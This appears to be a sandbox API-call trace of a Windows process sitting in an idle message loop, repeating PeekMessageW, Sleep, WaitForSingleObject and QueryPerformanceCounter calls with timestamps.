[0143.542] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.542] Sleep (dwMilliseconds=0x64) [0143.557] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.557] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754157355) returned 1 [0143.557] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754157552) returned 1 [0143.557] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.558] Sleep (dwMilliseconds=0x64) [0143.572] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.572] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754210901) returned 1 [0143.572] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754211068) returned 1 [0143.573] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.573] Sleep (dwMilliseconds=0x64) [0143.588] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.588] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754264202) returned 1 [0143.588] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754264375) returned 1 [0143.589] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.589] Sleep (dwMilliseconds=0x64) [0143.605] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.605] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754322781) returned 1 [0143.605] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754322949) returned 1 [0143.606] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.606] Sleep (dwMilliseconds=0x64) [0143.619] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.619] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754370549) returned 1 [0143.619] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754370724) returned 1 [0143.620] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.620] Sleep (dwMilliseconds=0x64) [0143.635] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.635] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754424246) returned 1 [0143.635] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754424445) returned 1 [0143.635] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.636] Sleep (dwMilliseconds=0x64) [0143.650] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.650] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754477239) returned 1 [0143.650] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754477421) returned 1 [0143.651] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.651] Sleep (dwMilliseconds=0x64) [0143.681] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.681] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754581378) returned 1 [0143.681] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754581570) returned 1 [0143.682] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.683] Sleep (dwMilliseconds=0x64) [0143.699] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.699] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754642518) returned 1 [0143.699] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754642745) returned 1 [0143.699] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.700] Sleep (dwMilliseconds=0x64) [0143.713] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.713] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754693054) returned 1 [0143.713] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754693252) returned 1 [0143.714] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.715] Sleep (dwMilliseconds=0x64) [0143.728] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.728] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754743900) returned 1 [0143.728] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754744098) returned 1 [0143.729] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.729] Sleep (dwMilliseconds=0x64) [0143.744] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.744] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754797211) returned 1 [0143.744] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754797405) returned 1 [0143.745] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.745] Sleep (dwMilliseconds=0x64) [0143.759] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.760] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754850818) returned 1 [0143.760] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754851017) returned 1 [0143.760] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.761] Sleep (dwMilliseconds=0x64) [0143.775] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.775] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754903871) returned 1 [0143.775] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754904069) returned 1 [0143.776] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.776] Sleep (dwMilliseconds=0x64) [0143.791] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.791] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754957187) returned 1 [0143.791] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754957384) returned 1 [0143.791] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.792] Sleep (dwMilliseconds=0x64) [0143.806] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.806] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755010466) returned 1 [0143.806] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755010665) returned 1 [0143.807] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.807] Sleep (dwMilliseconds=0x64) [0143.823] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.823] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755066201) returned 1 [0143.823] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755066379) returned 1 [0143.823] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.824] Sleep (dwMilliseconds=0x64) [0143.837] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.838] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755117208) returned 1 [0143.838] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755117390) returned 1 [0143.838] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.839] Sleep (dwMilliseconds=0x64) [0143.853] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.853] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755171133) returned 1 [0143.853] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755171316) returned 1 [0143.854] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.854] Sleep (dwMilliseconds=0x64) [0143.869] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.869] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755223697) returned 1 [0143.869] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755223883) returned 1 [0143.869] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.870] Sleep (dwMilliseconds=0x64) [0143.884] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.884] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755277255) returned 1 [0143.884] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755277440) returned 1 [0143.885] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.885] Sleep (dwMilliseconds=0x64) [0143.900] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.900] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755330721) returned 1 [0143.900] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755330903) returned 1 [0143.901] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.901] Sleep (dwMilliseconds=0x64) [0143.915] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755383811) returned 1 [0143.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755384008) returned 1 [0143.916] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.917] Sleep (dwMilliseconds=0x64) [0143.932] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755439119) returned 1 [0143.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755439308) returned 1 [0143.932] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.933] Sleep (dwMilliseconds=0x64) [0143.948] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755494112) returned 1 [0143.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755494297) returned 1 [0143.948] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.949] Sleep (dwMilliseconds=0x64) [0143.964] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.964] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755550477) returned 1 [0143.964] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755550660) returned 1 [0143.965] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.965] Sleep (dwMilliseconds=0x64) [0143.978] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.978] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755597082) returned 1 [0143.978] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755597271) returned 1 [0143.979] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.979] Sleep (dwMilliseconds=0x64) [0143.994] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.994] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755653034) returned 1 [0143.994] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755653231) returned 1 [0143.995] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.995] Sleep (dwMilliseconds=0x64) [0144.009] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.009] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755704647) returned 1 [0144.009] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755704844) returned 1 [0144.010] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.011] Sleep (dwMilliseconds=0x64) [0144.026] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.026] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755760039) returned 1 [0144.026] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755760238) returned 1 [0144.026] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.027] Sleep (dwMilliseconds=0x64) [0144.041] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.041] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755812953) returned 1 [0144.041] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755813145) returned 1 [0144.042] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.042] Sleep (dwMilliseconds=0x64) [0144.058] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755870204) returned 1 [0144.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755870404) returned 1 [0144.058] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.059] Sleep (dwMilliseconds=0x64) [0144.078] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.078] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755940717) returned 1 [0144.079] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755940902) returned 1 [0144.079] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.080] Sleep (dwMilliseconds=0x64) [0144.088] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.088] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=755971964) returned 1 [0144.088] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=755972147) returned 1 [0144.088] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.089] Sleep (dwMilliseconds=0x64) [0144.103] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.103] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756024501) returned 1 [0144.103] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756024686) returned 1 [0144.104] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.104] Sleep (dwMilliseconds=0x64) [0144.118] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.118] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756077340) returned 1 [0144.118] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756077508) returned 1 [0144.119] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.120] Sleep (dwMilliseconds=0x64) [0144.134] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.134] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756130521) returned 1 [0144.134] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756130718) returned 1 [0144.135] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.135] Sleep (dwMilliseconds=0x64) [0144.150] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.150] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756185453) returned 1 [0144.150] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756185621) returned 1 [0144.151] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.151] Sleep (dwMilliseconds=0x64) [0144.165] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.165] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756236846) returned 1 [0144.165] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756237042) returned 1 [0144.166] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.166] Sleep (dwMilliseconds=0x64) [0144.181] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.181] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756290200) returned 1 [0144.181] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756290399) returned 1 [0144.181] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.182] Sleep (dwMilliseconds=0x64) [0144.196] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.197] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756344378) returned 1 [0144.197] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756344575) returned 1 [0144.197] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.198] Sleep (dwMilliseconds=0x64) [0144.212] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.212] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756396908) returned 1 [0144.212] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756397105) returned 1 [0144.213] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.213] Sleep (dwMilliseconds=0x64) [0144.227] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.228] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756450166) returned 1 [0144.228] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756450363) returned 1 [0144.228] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.229] Sleep (dwMilliseconds=0x64) [0144.243] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.243] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756504562) returned 1 [0144.243] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756504760) returned 1 [0144.244] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.245] Sleep (dwMilliseconds=0x64) [0144.259] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.259] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756559378) returned 1 [0144.260] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756559576) returned 1 [0144.260] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.261] Sleep (dwMilliseconds=0x64) [0144.274] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.274] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756610080) returned 1 [0144.274] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756610266) returned 1 [0144.275] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.275] Sleep (dwMilliseconds=0x64) [0144.290] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.290] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756663349) returned 1 [0144.290] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756663535) returned 1 [0144.290] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.291] Sleep (dwMilliseconds=0x64) [0144.305] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.306] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756716876) returned 1 [0144.306] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756717060) returned 1 [0144.306] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.307] Sleep (dwMilliseconds=0x64) [0144.321] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.321] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756770260) returned 1 [0144.321] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756770445) returned 1 [0144.322] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.322] Sleep (dwMilliseconds=0x64) [0144.337] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.337] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756823407) returned 1 [0144.337] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756823632) returned 1 